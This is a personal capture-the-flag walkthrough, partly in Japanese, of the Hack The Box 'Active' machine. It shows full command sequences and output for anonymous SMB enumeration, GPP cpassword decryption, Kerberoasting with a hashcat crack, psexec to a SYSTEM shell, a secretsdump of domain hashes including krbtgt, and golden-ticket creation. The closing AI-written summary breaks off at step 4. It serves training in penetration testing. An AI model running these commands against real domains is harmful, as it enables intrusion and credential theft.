Active

Flag-Critical Knowledge

トリガー、攻撃パターン

attack summary

Anonymous SMB
→ Replication share
→ Groups.xml cpassword
→ gpp-decrypt
→ SVC_TGS credentials
→ Kerberoast Administrator
→ crack TGS hash
→ psexec as Administrator
→ root shell / flag

walkthrough

10.129.13.116

null session が有効かの確認コマンド

nullセッション確認
smbclient -L //10.129.13.116/ -N
smbmap -H 10.129.13.116 -u "" -p ""
crackmapexec smb 10.129.13.116 -u '' -p ''
enum4linux-ng -A 10.129.13.116
smbclient -N "//10.129.13.116/$s" -c "ls"
crackmapexec smb 10.129.13.116 -u '' -p '' --shares
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
Replication     Disk
SYSVOL          Disk      Logon server share
Users           Disk
smbclient -N "//10.129.13.116/ADMIN$" -c "ls"
smbclient -N "//10.129.13.116/C$" -c "ls"
smbclient -N "//10.129.13.116/IPC$" -c "ls"
smbclient -N "//10.129.13.116/NETLOGON" -c "ls"
smbclient -N "//10.129.13.116/Replication" -c "ls"
smbclient -N "//10.129.13.116/SYSVOL" -c "ls"
smbclient -N "//10.129.13.116/Users" -c "ls"
┌──(kali㉿kali)-[~/htb/active]
└─$ smbclient -N "//10.129.13.116/Replication" -c "ls"
^[[DAnonymous login successful
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  active.htb                          D        0  Sat Jul 21 19:37:44 2018

        10459647 blocks of size 4096. 5201203 blocks available

┌──(kali㉿kali)-[~/htb/active]

smbclient -N //10.129.13.116/Replication
smb: \> recurse ON
smb: \> ls
smb: \active.htb\> ls
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  DfsrPrivate                       DHS        0  Sat Jul 21 19:37:44 2018
  Policies                            D        0  Sat Jul 21 19:37:44 2018
  scripts                             D        0  Thu Jul 19 03:48:57 2018

\active.htb\DfsrPrivate
  .                                 DHS        0  Sat Jul 21 19:37:44 2018
  ..                                DHS        0  Sat Jul 21 19:37:44 2018
  ConflictAndDeleted                  D        0  Thu Jul 19 03:51:30 2018
  Deleted                             D        0  Thu Jul 19 03:51:30 2018
  Installing                          D        0  Thu Jul 19 03:51:30 2018

\active.htb\Policies
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  {31B2F340-016D-11D2-945F-00C04FB984F9}      D        0  Sat Jul 21 19:37:44 2018
  {6AC1786C-016F-11D2-945F-00C04fB984F9}      D        0  Sat Jul 21 19:37:44 2018

\active.htb\scripts
  .                                   D        0  Thu Jul 19 03:48:57 2018
  ..                                  D        0  Thu Jul 19 03:48:57 2018

\active.htb\DfsrPrivate\ConflictAndDeleted
  .                                   D        0  Thu Jul 19 03:51:30 2018
  ..                                  D        0  Thu Jul 19 03:51:30 2018

\active.htb\DfsrPrivate\Deleted
  .                                   D        0  Thu Jul 19 03:51:30 2018
  ..                                  D        0  Thu Jul 19 03:51:30 2018

\active.htb\DfsrPrivate\Installing
  .                                   D        0  Thu Jul 19 03:51:30 2018
  ..                                  D        0  Thu Jul 19 03:51:30 2018

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  GPT.INI                             A       23  Thu Jul 19 05:46:06 2018
  Group Policy                        D        0  Sat Jul 21 19:37:44 2018
  MACHINE                             D        0  Sat Jul 21 19:37:44 2018
  USER                                D        0  Thu Jul 19 03:49:12 2018

\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  GPT.INI                             A       22  Thu Jul 19 03:49:12 2018
  MACHINE                             D        0  Sat Jul 21 19:37:44 2018
  USER                                D        0  Thu Jul 19 03:49:12 2018

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  GPE.INI                             A      119  Thu Jul 19 05:46:06 2018

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  Microsoft                           D        0  Sat Jul 21 19:37:44 2018
  Preferences                         D        0  Sat Jul 21 19:37:44 2018
  Registry.pol                        A     2788  Thu Jul 19 03:53:45 2018

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER
  .                                   D        0  Thu Jul 19 03:49:12 2018
  ..                                  D        0  Thu Jul 19 03:49:12 2018

\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  Microsoft                           D        0  Sat Jul 21 19:37:44 2018

\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\USER
  .                                   D        0  Thu Jul 19 03:49:12 2018
  ..                                  D        0  Thu Jul 19 03:49:12 2018

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  Windows NT                          D        0  Sat Jul 21 19:37:44 2018

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  Groups                              D        0  Sat Jul 21 19:37:44 2018

\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  Windows NT                          D        0  Sat Jul 21 19:37:44 2018

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  SecEdit                             D        0  Sat Jul 21 19:37:44 2018

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  Groups.xml                          A      533  Thu Jul 19 05:46:06 2018

\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  SecEdit                             D        0  Sat Jul 21 19:37:44 2018

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  GptTmpl.inf                         A     1098  Thu Jul 19 03:49:12 2018

\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
  .                                   D        0  Sat Jul 21 19:37:44 2018
  ..                                  D        0  Sat Jul 21 19:37:44 2018
  GptTmpl.inf                         A     3722  Thu Jul 19 03:49:12 2018

        10459647 blocks of size 4096. 5201203 blocks available
smb: \active.htb\>

    \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
    GPT.INI                             A       23  Thu Jul 19 05:46:06 2018
    \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
    GPT.INI                             A       22  Thu Jul 19 03:49:12 2018
    \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy
    GPE.INI                             A      119  Thu Jul 19 05:46:06 2018
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE
  Registry.pol                        A     2788  Thu Jul 19 03:53:45 2018
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups
  Groups.xml                          A      533  Thu Jul 19 05:46:06 2018
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
  GptTmpl.inf                         A     1098  Thu Jul 19 03:49:12 2018
\active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
  GptTmpl.inf                         A     3722  Thu Jul 19 03:49:12 2018

smbclient経由で全部ダウンロード

smbclient -N //10.129.13.116/Replication -c "recurse ON; prompt OFF; mget *"

smbget -R -N smb://10.129.13.116/Replication smbget -R -N smb://10.129.13.116/Replication/

└─$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18

active.htb\SVC_TGS GPPstillStandingStrong2k18

smbclient -U 'SVC_TGS%GPPstillStandingStrong2k18' -L //10.129.13.116/
evil-winrm -i 10.129.13.116 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.13.116
impacket-GetUserSPNs active.htb/username@10.129.13.116 -hashes LM:NT
└─$ impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.13.116
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-19 04:06:40.351723  2025-12-11 17:42:36.425333

┌──(kali㉿kali)-[~/htb/active]
└─$

Kerberoasting

impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.13.116 -request
└─$ impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.13.116 -request
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-19 04:06:40.351723  2025-12-11 17:42:36.425333

[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$89e886ebc10ffa1820e5abfefea33217$ceae9ea671d5d5b2773e2589f6de61e79627bf2aad1816ededf6df26fc4c22a67833f3d6f9ab78e6b580883b034d3f86dce751873fc5fe290cc27d3792b00c786ebedd55a7c52a2b7305ff8e2f5e96b6439ebcee4afd112fac24aec5a8e89588fc9f2e03a760f7df6bef66718380b93dfceb0c8639bf7303015ee9590045853164a1277ccd91d596379c8842a85361efe6b84180f53d3220068e3a07ec0b85ae0e4e4e297ff47d4649fd07b5067ec7b9af0f6d6bc07f46a5c61de828cea7bb10ce94c2246e16bf27c2f06651f253da429b64185987c485943cb32aa590aa68e298a678ddef3c606d2e84c7ba974ce08d98708b1378459a30d497425c7f7290682a63c2ff7be48c6569130c618281e9e6de3ef4157af975bff81f5164e1644ca43aec003ebfb0d2a612cb6b3dcfa35adfc5c0222e7d0f06b3f0d4789fa85f77955f1725cb15a0b86ac35aa5d867be79a91703242d4e0439e223cc9d471c403c2f14e2b7a360e2736bb8a004f62ec978d8bbc397a3502e8cf0795866c84977626bc0029cc8a484fe30358a384c61a13984ff6afdaf1a048082a85e75c5f0153a87f2dc3aef3b838b7c0f94607a7d35279c64f5fe799376f1382d70be2485d6636b2e822abc1450796cbe3484045de03aa2c31560b679546eaa3f84bd4915e75de1a0e0cd61cabdc5f1427e703d76b9a8a77fa6d005a1468aa0eff3ff93195ff792bbfee2632a7860207cebc22fc5b4206705759a6e61ea72927bf3d9f8c91d2a905f3c938ba1f99630a0df84a32cbe0f44c08c71560d99bf9fc174f173863e5e96c32a736be93ab26b6ce2f8d98289abb91ae537fddf1bcc95e31df1350ed0e9065462e659e8ebe109701373008264e6a9cba752c7801495cf5fed9303f9900a7be82c2f47f79cd01b29621ceacf31034ef09ebfaeccfb07ebd0ddff7477b0dcd81dabc27f859d487d974d1acfd9f24d8250323af3d579417649913c03735e9005ce77e212b82dbb3761e40dd1436759e87fc30f230d9910f8868431d794103cda6960384a3b95e7a19991ef83c4101084dd4c34032d435e0ae634c64ef328691501faa85a22f179a51fc76a548f61b65adc1ed59bb86404334f1475b88dd5ffc609a4a8b7d50600a8474884266f8406e5e99ac699d7a9fae532e22184c8408888710551ccb0c919b49a1751f49b0675dcedcb3d464ec71d2b56f6657c37443e724cdc78f8671ad80e72843ac668936b015dac7fdc764046d244da

┌──(kali㉿kali)-[~/htb/active]
└─$

admin_tgs.hash

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$89e886ebc10ffa1820e5abfefea33217$ceae9ea671d5d5b2773e2589f6de61e79627bf2aad1816ededf6df26fc4c22a67833f3d6f9ab78e6b580883b034d3f86dce751873fc5fe290cc27d3792b00c786ebedd55a7c52a2b7305ff8e2f5e96b6439ebcee4afd112fac24aec5a8e89588fc9f2e03a760f7df6bef66718380b93dfceb0c8639bf7303015ee9590045853164a1277ccd91d596379c8842a85361efe6b84180f53d3220068e3a07ec0b85ae0e4e4e297ff47d4649fd07b5067ec7b9af0f6d6bc07f46a5c61de828cea7bb10ce94c2246e16bf27c2f06651f253da429b64185987c485943cb32aa590aa68e298a678ddef3c606d2e84c7ba974ce08d98708b1378459a30d497425c7f7290682a63c2ff7be48c6569130c618281e9e6de3ef4157af975bff81f5164e1644ca43aec003ebfb0d2a612cb6b3dcfa35adfc5c0222e7d0f06b3f0d4789fa85f77955f1725cb15a0b86ac35aa5d867be79a91703242d4e0439e223cc9d471c403c2f14e2b7a360e2736bb8a004f62ec978d8bbc397a3502e8cf0795866c84977626bc0029cc8a484fe30358a384c61a13984ff6afdaf1a048082a85e75c5f0153a87f2dc3aef3b838b7c0f94607a7d35279c64f5fe799376f1382d70be2485d6636b2e822abc1450796cbe3484045de03aa2c31560b679546eaa3f84bd4915e75de1a0e0cd61cabdc5f1427e703d76b9a8a77fa6d005a1468aa0eff3ff93195ff792bbfee2632a7860207cebc22fc5b4206705759a6e61ea72927bf3d9f8c91d2a905f3c938ba1f99630a0df84a32cbe0f44c08c71560d99bf9fc174f173863e5e96c32a736be93ab26b6ce2f8d98289abb91ae537fddf1bcc95e31df1350ed0e9065462e659e8ebe109701373008264e6a9cba752c7801495cf5fed9303f9900a7be82c2f47f79cd01b29621ceacf31034ef09ebfaeccfb07ebd0ddff7477b0dcd81dabc27f859d487d974d1acfd9f24d8250323af3d579417649913c03735e9005ce77e212b82dbb3761e40dd1436759e87fc30f230d9910f8868431d794103cda6960384a3b95e7a19991ef83c4101084dd4c34032d435e0ae634c64ef328691501faa85a22f179a51fc76a548f61b65adc1ed59bb86404334f1475b88dd5ffc609a4a8b7d50600a8474884266f8406e5e99ac699d7a9fae532e22184c8408888710551ccb0c919b49a1751f49b0675dcedcb3d464ec71d2b56f6657c37443e724cdc78f8671ad80e72843ac668936b015dac7fdc764046d244da
hashcat -h | grep -i tgs
hashcat -h | grep -i krb

公式で調べる https://hashcat.net/wiki/doku.php?id=example_hashes

Hashcat の Kerberoast モードは 13100
hashcat -m 13100 admin_tgs.hash /usr/share/wordlists/rockyou.txt
└─$ hashcat -m 13100 admin_tgs.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu--0x000, 1435/2935 MB (512 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$89e886ebc10ffa1820e5abfefea33217$ceae9ea671d5d5b2773e2589f6de61e79627bf2aad1816ededf6df26fc4c22a67833f3d6f9ab78e6b580883b034d3f86dce751873fc5fe290cc27d3792b00c786ebedd55a7c52a2b7305ff8e2f5e96b6439ebcee4afd112fac24aec5a8e89588fc9f2e03a760f7df6bef66718380b93dfceb0c8639bf7303015ee9590045853164a1277ccd91d596379c8842a85361efe6b84180f53d3220068e3a07ec0b85ae0e4e4e297ff47d4649fd07b5067ec7b9af0f6d6bc07f46a5c61de828cea7bb10ce94c2246e16bf27c2f06651f253da429b64185987c485943cb32aa590aa68e298a678ddef3c606d2e84c7ba974ce08d98708b1378459a30d497425c7f7290682a63c2ff7be48c6569130c618281e9e6de3ef4157af975bff81f5164e1644ca43aec003ebfb0d2a612cb6b3dcfa35adfc5c0222e7d0f06b3f0d4789fa85f77955f1725cb15a0b86ac35aa5d867be79a91703242d4e0439e223cc9d471c403c2f14e2b7a360e2736bb8a004f62ec978d8bbc397a3502e8cf0795866c84977626bc0029cc8a484fe30358a384c61a13984ff6afdaf1a048082a85e75c5f0153a87f2dc3aef3b838b7c0f94607a7d35279c64f5fe799376f1382d70be2485d6636b2e822abc1450796cbe3484045de03aa2c31560b679546eaa3f84bd4915e75de1a0e0cd61cabdc5f1427e703d76b9a8a77fa6d005a1468aa0eff3ff93195ff792bbfee2632a7860207cebc22fc5b4206705759a6e61ea72927bf3d9f8c91d2a905f3c938ba1f99630a0df84a32cbe0f44c08c71560d99bf9fc174f173863e5e96c32a736be93ab26b6ce2f8d98289abb91ae537fddf1bcc95e31df1350ed0e9065462e659e8ebe109701373008264e6a9cba752c7801495cf5fed9303f9900a7be82c2f47f79cd01b29621ceacf31034ef09ebfaeccfb07ebd0ddff7477b0dcd81dabc27f859d487d974d1acfd9f24d8250323af3d579417649913c03735e9005ce77e212b82dbb3761e40dd1436759e87fc30f230d9910f8868431d794103cda6960384a3b95e7a19991ef83c4101084dd4c34032d435e0ae634c64ef328691501faa85a22f179a51fc76a548f61b65adc1ed59bb86404334f1475b88dd5ffc609a4a8b7d50600a8474884266f8406e5e99ac699d7a9fae532e22184c8408888710551ccb0c919b49a1751f49b0675dcedcb3d464ec71d2b56f6657c37443e724cdc78f8671ad80e72843ac668936b015dac7fdc764046d244da:Ticketmaster1968

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Ad...d244da
Time.Started.....: Thu Dec 11 20:42:57 2025 (6 secs)
Time.Estimated...: Thu Dec 11 20:43:03 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1620.2 kH/s (0.26ms) @ Accel:256 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10537472/14344385 (73.46%)
Rejected.........: 0/10537472 (0.00%)
Restore.Point....: 10536960/14344385 (73.46%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Tiffany95 -> Tiana87
Hardware.Mon.#1..: Util: 91%

Started: Thu Dec 11 20:42:50 2025
Stopped: Thu Dec 11 20:43:05 2025

┌──(kali㉿kali)-[~/htb/active]
└─$

Ticketmaster1968

evil-winrm -i 10.129.13.116 -u Administrator -p 'Ticketmaster1968' -S

⇒winrmはポート開いてないからできない

smbclient -U 'Administrator%Ticketmaster1968' -L //10.129.13.116/
impacket-psexec Administrator:'Ticketmaster1968'@10.129.13.116
Administrator のクレデンシャルを使ってターゲットの SAM を取得
impacket-secretsdump Administrator:'Ticketmaster1968'@10.129.13.116
smbclient //10.129.13.116/Users -U 'SVC_TGS%GPPstillStandingStrong2k18'
─$ impacket-psexec Administrator:'Ticketmaster1968'@10.129.13.116
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 10.129.13.116.....
[*] Found writable share ADMIN$
[*] Uploading file fkdmDXjP.exe
[*] Opening SVCManager on 10.129.13.116.....
[*] Creating service eDhK on 10.129.13.116.....
[*] Starting service eDhK.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>

administratorのハッシュもとれた

└─$ impacket-secretsdump Administrator:'Ticketmaster1968'@10.129.13.116
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0xff954ee81ffb63937b563f523caf1d59
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5c15eb37006fb74c21a5d1e2144b726e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
ACTIVE\DC$:aes256-cts-hmac-sha1-96:1bc6ed57caac536974a356454cc1eb67e9a86001193a473a6479f9c68f0a0298
ACTIVE\DC$:aes128-cts-hmac-sha1-96:f69747e0680d0f2c43c1ee79aecb550e
ACTIVE\DC$:des-cbc-md5:0df12cd9badaabb5
ACTIVE\DC$:plain_password_hex:c8cdae3c417cc0f650df3c4b22dd1f07231841bb3b65e0c6b5352e65ead679167637dba6941c643772204d7c79d7f9acbc3fc335f922e9c33e869a38d4786342d91b5037d467887e13ff7720dc5e2d450c01c32fe95c9dc27c15dc2dac0f86beb52758e39812458ea659d9bff51a26ad26fb7db05582c5007fc0f0aca87ef10a8b894bb100aae3f94dd34a223f057c404dd32f5795cf7f7d84644461c0b1ec46199bed80fcbf40b38c4ee6a1dc7ee230f514c9e17a8f10733f6a08ab7ca171a96b7162b192466edc8fcbcd161d22fafbd8a8aa41f32248109ad9d49e9c01b44c74635a799c8eeba6d2b3d77cc852d393
ACTIVE\DC$:aad3b435b51404eeaad3b435b51404ee:a002a147ecef45601dc12ca8f302eb94:::
[*] DefaultPassword
(Unknown User):ROOT#123
[*] DPAPI_SYSTEM
dpapi_machinekey:0x377bd35be67705f345dabf00d3181e269e0fb1e6
dpapi_userkey:0x7586c391e559565c85cb342d1d24546381f0d5cb
[*] NL$KM
 0000   CC 6F B8 46 C3 0C 58 05  2F F2 07 2E DA E6 BF 7D   .o.F..X./......}
 0010   60 63 F6 89 E7 0E D5 D5  22 EE 54 DA 63 12 5B B5   `c......".T.c.[.
 0020   D8 DA 0B B7 82 0E 3D E1  9D 7A 03 15 08 5C B0 AE   ......=..z...\..
 0030   EF 63 91 B9 6C 87 65 A8  14 62 95 BC 77 69 77 08   .c..l.e..b..wiw.
NL$KM:cc6fb846c30c58052ff2072edae6bf7d6063f689e70ed5d522ee54da63125bb5d8da0bb7820e3de19d7a0315085cb0aeef6391b96c8765a8146295bc77697708
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b889e0d47d6fe22c8f0463a717f460dc:::
active.htb\SVC_TGS:1103:aad3b435b51404eeaad3b435b51404ee:f54f3a1d3c38140684ff4dad029f25b5:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:a002a147ecef45601dc12ca8f302eb94:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:003b207686cfdbee91ff9f5671aa10c5d940137da387173507b7ff00648b40d8
Administrator:aes128-cts-hmac-sha1-96:48347871a9f7c5346c356d76313668fe
Administrator:des-cbc-md5:5891549b31f2c294
krbtgt:aes256-cts-hmac-sha1-96:cd80d318efb2f8752767cd619731b6705cf59df462900fb37310b662c9cf51e9
krbtgt:aes128-cts-hmac-sha1-96:b9a02d7bd319781bc1e0a890f69304c3
krbtgt:des-cbc-md5:9d044f891adf7629
active.htb\SVC_TGS:aes256-cts-hmac-sha1-96:d59943174b17c1a4ced88cc24855ef242ad328201126d296bb66aa9588e19b4a
active.htb\SVC_TGS:aes128-cts-hmac-sha1-96:f03559334c1111d6f792d74a453d6f31
active.htb\SVC_TGS:des-cbc-md5:d6c7eca70862f1d0
DC$:aes256-cts-hmac-sha1-96:1bc6ed57caac536974a356454cc1eb67e9a86001193a473a6479f9c68f0a0298
DC$:aes128-cts-hmac-sha1-96:f69747e0680d0f2c43c1ee79aecb550e
DC$:des-cbc-md5:13d926763ea4abad
[*] Cleaning up...

┌──(kali㉿kali)-[~/htb/active]
└─$
active directoryかどうかの調べ方
impacket-smbclient -no-pass @<IP>
SYSVOL/NETLOGON があるか見る

これもドメインコントローラの調べ方

rpcclient -U "" -N 10.129.13.116 -c "srvinfo"

3389と88のポートが空いてたらDC

ゴールデンチケットを作成するには ① krbtgt アカウントの NTLM ハッシュ(NT hash) ② ドメイン名(例:HTB.LOCAL) ③ ドメイン SID ④ 任意のユーザー名(例:“Administrator” でも “TestUser” でもOK)

ドメインSIDの調べ方 kali

impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<DC-IP>

kali2

rpcclient -U "<USER>%<PASS>" <DC-IP> -c querydominfo
CMD(Windows)
whoami /user
PowerShell(Windows)

(Get-ADDomain).DomainSID

ゴールデンチケット作成
impacket-ticketer -nthash 89a1c9fd8fd123abc1234567deadbeef \
    -domain-sid S-1-5-21-111111111-222222222-333333333 \
    -domain HTB.LOCAL \
    Administrator
──(kali㉿kali)-[~/htb/active]
└─$ impacket-ticketer -nthash 89a1c9fd8fd123abc1234567deadbeef \
    -domain-sid S-1-5-21-111111111-222222222-333333333 \
    -domain HTB.LOCAL \
    Administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for HTB.LOCAL/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncASRepPart
[*] Saving ticket in Administrator.ccache

┌──(kali㉿kali)-[~/htb/active]
└─$
ドメインユーザ一覧
net user /domain
impacket-rpcdump 10.129.13.116
impacket-GetADUsers -all HTB.LOCAL/Administrator@10.129.13.116 -k -no-pass
ユーザの詳細情報(所属グループ含む)
net user <username> /domain
impacket-samrdump HTB.LOCAL/Administrator@10.129.13.116 -k -no-pass
ドメイングループ一覧
net group /domain
impacket-lookupsid HTB.LOCAL/Administrator@10.129.13.116 -k -no-pass

グループメンバー一覧(特定グループの中身)

net group "<GroupName>" /domain

walkthrough(AI)

このAI版 walkthrough は、生メモを再現しやすい順番に整理したもの。Active は Anonymous SMB から Groups.xml の GPP cpassword を拾い、得たサービスアカウントで Kerberoast して Administrator に到達する流れ。

1. SMB匿名列挙

まず SMB を匿名で確認する。Replication 共有が読めることが突破口になる。

smbclient -L //10.129.13.116/ -N

Replication を丸ごと取得する。

smbclient -N //10.129.13.116/Replication -c "recurse ON; prompt OFF; mget *"

2. Groups.xml から GPP cpassword を探す

取得したファイル群の中から Groups.xml を探し、cpassword を確認する。GPP の cpassword は既知鍵で復号できる。

find . -iname Groups.xml -o -iname "*.xml"

3. cpassword を復号して SVC_TGS の資格情報を得る

Groups.xml に入っていた cpasswordgpp-decrypt で復号する。

gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'

得られる資格情報。

SVC_TGS / GPPstillStandingStrong2k18

4. SVC_TGS で認証確認

